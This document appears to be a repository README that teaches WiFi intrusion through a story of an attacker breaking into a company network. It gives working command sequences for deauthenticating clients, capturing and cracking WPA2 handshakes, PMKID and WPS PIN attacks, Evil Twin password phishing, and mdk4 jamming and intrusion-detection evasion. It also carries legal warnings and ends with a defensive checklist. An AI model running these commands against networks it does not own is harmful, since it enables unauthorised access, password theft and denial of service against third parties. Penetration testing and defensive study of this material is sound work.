A hands-on WiFi hacking guide, written as a simple story so anyone can follow it, even if this is all new to you. We follow one attacker, step by step, as he tries to break into a company's WiFi. For every move he makes, you also learn the one thing that stops it, so you can defend your own network too.
Warning
The one rule: you only ever run these commands on your own router in your own lab, or on a network you have written permission to test. These are the real steps a real attacker uses. Using them on WiFi you do not own is a crime in most countries, even if you crack nothing. This guide exists to teach you how the attack works so you can stop it.
An attacker walks up near an office building. Inside are many companies, but he only cares about one: ExampleCorp. He wants onto their WiFi, because once he is on their network, he is already past the front door.
He cannot just click "connect" like a guest. The WiFi is locked with a password he does not know. So his real job, before anything else, is this:
Find ExampleCorp's router, and trick it into giving up its password.
A building like this has many WiFi networks floating in the air at once. Before he can attack the right one, he has to see them all and pick out ExampleCorp's. Everything below is how he does that, in order.
He is sitting in his car with a laptop. Let us look at his gear first, because without the right gear none of this works.
Two things matter before a single command.
1. A real Linux system, not a virtual machine. He boots Kali or Parrot Linux from a USB stick (a "live USB") or as a dual boot. Inside VirtualBox or VMware the WiFi card does not talk cleanly to Linux, and these attacks become flaky or just fail. A real boot is the reliable choice.
2. An external USB WiFi adapter that can "inject". The WiFi chip built into a laptop usually cannot do these attacks (most Intel chips especially). So he uses a small external USB WiFi adapter made for this. The chip inside the adapter is what matters, not the brand on the box.
These adapters are known to work well on Linux for both listening and attacking.
| Adapter | Chip inside | Bands | Amazon | AliExpress |
|---|---|---|---|---|
| Alfa AWUS036NHA (classic, very reliable) | Atheros AR9271 | 2.4GHz | Amazon | AliExpress |
| Alfa AWUS036ACM (best modern pick) | MediaTek MT7612U | 2.4 / 5GHz | Amazon | AliExpress |
| Alfa AWUS036ACH (long range) | RTL8812AU | 2.4 / 5GHz | Amazon | AliExpress |
| TP-Link TL-WN722N v1 (only version 1) | Atheros AR9271 | 2.4GHz | Amazon | AliExpress |
| TP-Link Archer T2U Plus (cheap, ~1000 INR) | RTL8821AU | 2.4 / 5GHz | Amazon | AliExpress |
- Alfa adapters are the safest buy. The AWUS036ACM is the top pick: it does both bands and needs no extra driver.
- For the TL-WN722N, buy version 1 only. Version 2 and 3 use a different chip that needs extra work.
- Skip the TP-Link Archer T3U Plus (RTL8812BU). Its driver is painful and attacks are unreliable.
1. He grabs this guide and its scripts:
git clone https://github.com/Esther7171/WiFi-Hacking-Guide.git
cd WiFi-Hacking-Guide2. He installs the toolkit. The easy way is one script. It installs every tool and offers to build the driver for his adapter:
sudo ./Documents/install.shPrefer to do it by hand? That is just this:
sudo apt update
sudo apt install -y aircrack-ng hashcat hcxdumptool hcxtools wifite \
reaver bully hostapd dnsmasq mdk4 macchangerHere is what each tool is for, in plain words:
| Tool | What it does |
|---|---|
| aircrack-ng suite | the main kit: scan, kick devices off, record, crack |
| hashcat | cracks the password fast using your graphics card |
| hcxdumptool, hcxtools | grab the password another way (PMKID) and prepare files |
| wifite | does the whole attack for you, automatically |
| reaver, bully | attack the WPS "PIN" shortcut |
| hostapd, dnsmasq | build a fake copy of a WiFi network (Evil Twin) |
| mdk4 | flood and disruption testing |
| macchanger | change your adapter's hardware ID |
Some adapters just work. Some need a driver built once. It depends on the chip and the Linux he is using.
Note
On most drivers are already built in, so adapters often just work when you plug them in. On
, plain Debian/Ubuntu, and most other systems, the Realtek drivers are not included, so if your adapter does not show up, you build it by hand below.
First, check if you even need to. Plug it in and look:
lsusb # is the adapter in the list? note the chip name
iw dev # did a "wlanX" name appear?If iw dev shows your adapter, the driver is already there. Skip ahead. If not, build it:
# one-time setup for building drivers
sudo apt update
sudo apt install -y git dkms build-essential libelf-dev linux-headers-$(uname -r)
# then build the one for your chip (example: the common Realtek 8812au)
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au && sudo make dkms_install && cd ..For other Realtek chips swap the repo: rtl8814au or rtl8188eus. Or just run the guided helper, which finds your adapter for you:
sudo ./Documents/driver-setup.shAfter building, unplug and replug the adapter (or reboot) so it loads. Now he is ready.
Normally a WiFi card only hears messages addressed to it, like a person who only listens when you say their name. This is called managed mode, and it is useless for an attack.
The attacker needs monitor mode, where the card hears every message in the air from everyone, like standing in a room and hearing all conversations at once. This is what lets him see networks, record handshakes, and attack. (Monitor mode is just a setting. It does not harm the adapter.)
First he finds his card's name:
iw dev # look for a name like wlan0The manual way, using Linux's own tools:
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
iw dev wlan0 info # it should now say: type monitorThe faster way, with airmon-ng, which does it in one step:
sudo airmon-ng check kill
sudo airmon-ng start wlan0Why check kill? Linux is always trying to use your WiFi normally (to stay connected to the internet). Those background helpers keep yanking the card back into normal mode while you are trying to attack. check kill politely shuts them off first, so the card stops fighting you. The small downside: it drops your own internet, which is fine, your external adapter is the one doing the work.
When you are done later, you give the card back:
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManagerMonitor mode lets the card listen. But half the attack needs the card to also talk, to send out fake messages. That ability is called injection, and not every adapter can do it. So before wasting time, he tests it:
sudo aireplay-ng --test wlan0monReading the result is simple:
- "Injection is working!" and nearby routers answering means he is good to go.
- "0% success" or silence means this adapter cannot inject, or he is too far away, or on the wrong channel.
His adapter cannot inject? No problem. That just means the chip is not suited for this. He picks one from the good adapters list above and tries again. Nothing else in this guide will work without injection, so this is worth getting right.
Now the card is listening. Time to see what is around:
sudo airodump-ng wlan0monThe screen fills with every WiFi network nearby. This is the moment he has been waiting for: the whole building laid out in front of him.
By default this only shows the older 2.4GHz networks. Many offices also run faster 5GHz WiFi, so he tells it to watch both bands:
sudo airodump-ng wlan0mon --band abgHere is how he reads that screen:
- BSSID is the router's hardware ID (its unique address).
- PWR is the signal strength. A number closer to 0 means closer / stronger. ExampleCorp's router shows -38, strong, so he is near it.
- CH is the channel number the router is on (like a radio station number).
- ENC / AUTH is the lock type. WPA2-PSK can be attacked the classic way. WPA3-SAE resists it.
- ESSID is the network name you see on your phone, like
HOME-LAB.
The bottom half, STATIONS, is the important part: these are the devices already connected to each router, phones and laptops. He wants a target that has at least one device connected, because that device is what will hand him the password.
He spots it: HOME-LAB (standing in for ExampleCorp's network), strong signal, WPA2, and a phone connected to it. That is his target.
Right now airodump-ng is jumping between all channels, watching everyone. He stops the jumping and points it at only ExampleCorp's router, and tells it to save everything to a file:
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 --write lab-capture wlan0monIn plain words:
--bssidis the target router's address (copied from the scan).--channelis its channel number (also from the scan).--write lab-capturesaves the recording to files namedlab-capture.
He leaves this running. It now shows that one router at the top, and the devices connected to it at the bottom. He is recording. Now he just needs the password to cross the air.
Here is the clever part. A device only sends the "password proof" (called the handshake) at the exact moment it joins the WiFi. It already joined hours ago, so he would have to wait forever.
So he does not wait. He kicks the device off. He sends it a fake "you got disconnected" message. The device, confused, immediately reconnects on its own, and in that split second it performs the handshake again, right while he is recording.
In a second terminal (leaving the recording running in the first), he sends the kick:
# -0 = kick off, 3 = a few bursts, -a = the router, -c = the device
sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0monHe watches the recording window. When the words WPA handshake: AA:BB:CC:DD:EE:FF appear in the top corner, he has it. He stops. That recorded handshake is a locked form of the password, saved to lab-capture-01.cap. The real password never actually traveled through the air, only the locked version did.
Note
On WPA3, or on WPA2 with Protected Management Frames (802.11w) turned on, that fake "disconnect" is ignored and this step simply fails. That is exactly why those protections exist (more in Blue team).
Now he can pack up and drive home. The rest needs no WiFi at all. He has the locked handshake, and he just tries millions of common passwords against it until one fits.
The slow way, using the processor:
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF lab-capture-01.capThe fast way, using a graphics card (much quicker). He converts the file, then cracks:
hcxpcapngtool -o lab.hc22000 lab-capture-01.cap
hashcat -m 22000 lab.hc22000 /usr/share/wordlists/rockyou.txtHere is the whole lesson in one line: a weak or common password (like summer2019) falls in seconds. A long, random password does not fall at all. That is the entire defense, and it is in the hands of whoever set the WiFi password.
Case One is the most common attack. But it is not the only one. Here are the other routes an attacker tries, in short.
Some routers leak the locked password in their very first reply, so he can skip the whole "kick a device off" dance. No connected device needed at all:
sudo hcxdumptool -i wlan0mon -o lab.pcapng --enable_status=1
hcxpcapngtool -o lab.hc22000 lab.pcapng # then crack it the same way as Step 6If WPS is switched on, the router also accepts an 8-digit PIN, which is a far smaller puzzle than the real password. Crack the PIN and the router hands over the password:
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv # or use: bullyNewer routers lock up after a few wrong PINs, so this is slow or dead on modern firmware. The lesson: turn WPS off.
If the password is long and random, cracking it will never finish. So the attacker stops attacking the WiFi and starts tricking the person instead.
- He creates a fake WiFi with the exact same name as the real one, usually with a stronger signal.
- He kicks people off the real network (same trick as Step 5).
- Their devices reconnect, but to his fake copy.
- His fake network shows a very real looking page: "Router update, please re-enter your WiFi password to continue."
- The person types the password in. He reads it in plain text. No cracking needed at all.
This is a well-known attack, so he uses a ready-made tool instead of building it by hand:
wifiteruns the whole classic attack automatically.airgeddonwalks through the fake-network attack from a menu and explains each step, good for learning.
Run these only against your own test network and your own test device.
The "kick a device off" message, sent over and over, is also how "WiFi jammers" work. They just knock everyone off, non-stop. Shown here so you understand and can detect it. Every one of these is a denial-of-service attack and belongs only on gear you own.
| Trick | Command | What it does |
|---|---|---|
| Kick one device | aireplay-ng -0 5 -a <ROUTER> -c <DEVICE> wlan0mon |
Drops one specific device. |
| Kick everyone | aireplay-ng -0 0 -a <ROUTER> wlan0mon |
Drops every device (0 = non-stop; use a number in a lab). |
| Mass kick | mdk4 wlan0mon d -b blacklist.txt |
Knocks off a whole list at once. |
| Fake junk networks | mdk4 wlan0mon b |
Fills the air with fake network names to confuse people. |
| Flood the router | mdk4 wlan0mon a -a <ROUTER> |
Buries the router in fake connection attempts. |
There is no honest reason to run these against a network you do not control. In most countries it is a crime on its own.
Big companies often do not use one shared password. Instead every person logs in with their own username and password, checked by a central server (called RADIUS). So the handshake trick from Case One does not apply. The attack there is a fake login server that catches the login, and it only works when devices are not set to check the server's certificate. The full steps are in the checklists:
Defense: force every device to check the server certificate, and use certificate logins (EAP-TLS) instead of passwords where you can.
Case One used just four tools. But the aircrack-ng suite is bigger than that, and each tool has its own job. Here is the whole kit on one page.
The situation: ExampleCorp's password turned out long and random, so Case One's cracking will never finish. The attacker changes plan. Now he wants to build a fake network, read traffic he already captured, and speed up his cracking for next time. Here is each tool with a real command.
sudo airmon-ng start wlan0 # monitor mode on
sudo airodump-ng wlan0mon # list and record# aireplay-ng has more than just deauth:
sudo aireplay-ng --test wlan0mon # can I inject?
sudo aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon # fake a login, to stay "connected"
sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon # kick a device off
# airbase-ng builds a fake access point (this is the Evil Twin's base):
sudo airbase-ng -e "HOME-LAB" -c 6 wlan0mon # makes a fake "HOME-LAB" on channel 6
# packetforge-ng crafts a custom packet to inject (classic WEP ARP forge):
packetforge-ng -0 -a AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 \
-k 255.255.255.255 -l 255.255.255.255 -y fragment.xor -w arp-request# aircrack-ng cracks the password from the recording:
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF lab-capture-01.cap
# airdecap-ng unlocks a recording once you DO know the password, so you can read the traffic:
airdecap-ng -e "HOME-LAB" -p "thewifipassword" lab-capture-01.cap
# airolib-ng pre-builds tables so future WPA cracking is much faster:
airolib-ng mydb --import essid essid.txt # the network name
airolib-ng mydb --import passwd rockyou.txt # the word list
airolib-ng mydb --batch # crunch the tables once
aircrack-ng -r mydb lab-capture-01.cap # then crack using themsudo airtun-ng -a AA:BB:CC:DD:EE:FF -p "thewifipassword" wlan0mon # a virtual cable to watch decrypted traffic live
sudo airserv-ng -d wlan0mon -p 666 # share this one card with other tools over the network
sudo besside-ng -b AA:BB:CC:DD:EE:FF wlan0mon # does the whole attack on its ownThe situation: now the attacker is hired to test how well the office WiFi holds up when someone tries to jam it. mdk4 is the stress tool. Every mode below is a denial-of-service, so again: own gear or written permission only.
sudo mdk4 wlan0mon d -b blacklist.txt -c 6 # d: knock a whole list of devices off
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF # a: flood the router with fake logins
sudo mdk4 wlan0mon b -c 6 # b: spam fake network names
sudo mdk4 wlan0mon p -t AA:BB:CC:DD:EE:FF -f ssid-list.txt # p: uncover a hidden network name
sudo mdk4 wlan0mon m -t AA:BB:CC:DD:EE:FF # m: freeze an old TKIP router
sudo mdk4 wlan0mon w -e "HOME-LAB" -c 6 # w: confuse WiFi intrusion detectionEvery one of these is beaten by Protected Management Frames (802.11w), which is covered next.
Good news: every attack above has a defense, and they stack together. If you run a network, do these:
- Use a long, random password (15+ characters). The cracking in Case One only beats easy passwords. A long random one cannot be cracked in any realistic time. This is the single biggest thing.
- Use WPA3 if your router supports it. It is built to resist the offline cracking attack.
- Turn on Protected Management Frames (802.11w). This blocks the fake "disconnect" message, which kills the handshake theft, the Evil Twin's "kick them off" step, and the whole jamming table, all at once. It is always on in WPA3.
- Turn WPS off. Removes the PIN shortcut completely.
- Teach people one simple rule: a real router never asks for the WiFi password on a web page after you are already connected. That page is always a trap. This is the only real defense against the fake-network trick.
- Use WiFi monitoring (WIDS / WIPS). It spots mass disconnects, fake networks, and rogue access points while they happen.
- For companies: make every device check the login server's certificate, and prefer certificate logins.
- aircrack-ng official docs: https://www.aircrack-ng.org/documentation.html
- hashcat (mode 22000, the WiFi password mode): https://hashcat.net/wiki/
- The step-by-step checklists in this repo, for running a proper, write-it-up assessment.